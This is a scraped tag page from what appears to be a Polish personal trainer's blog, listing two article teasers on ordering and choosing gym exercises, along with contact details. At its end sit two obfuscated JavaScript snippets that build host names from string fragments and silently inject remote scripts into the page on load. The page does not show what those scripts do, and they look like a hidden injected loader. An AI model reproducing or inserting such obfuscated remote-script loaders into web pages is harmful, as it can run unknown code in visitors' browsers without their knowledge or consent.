kontakt@przemekjurek.pl

+48 732 496 635

Tag: ćwiczenia izolowane

Kategorie:

Fotografia przedstawia kolejność wykonywanego ćwiczenia jako pierwszego

Jak ułożyć kolejność ćwiczeń, by maksymalizować efekty treningu siłowego?

5 sierpnia, 2024

Z mojego wieloletniego doświadczenia jako trenera personalnego wynika, że kolejność wykonywania ćwiczeń bywa często pomijanym aspektem planowania treningu siłowego. Tymczasem

Czytaj więcej >

Zdjęcie przedstawia wykonywanie ćwiczenia wiosłowania, które jest propozycją odpowiednio dobranych ćwiczeń na siłownię

Jak dobrać ćwiczenia na siłowni, aby osiągać lepsze efekty treningowe?

4 sierpnia, 2024

Chcesz wiedzieć, jak dobrać ćwiczenia na siłowni, by skutecznie budować masę mięśniową, zwiększać siłę i kształtować sylwetkę w sposób optymalny?

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();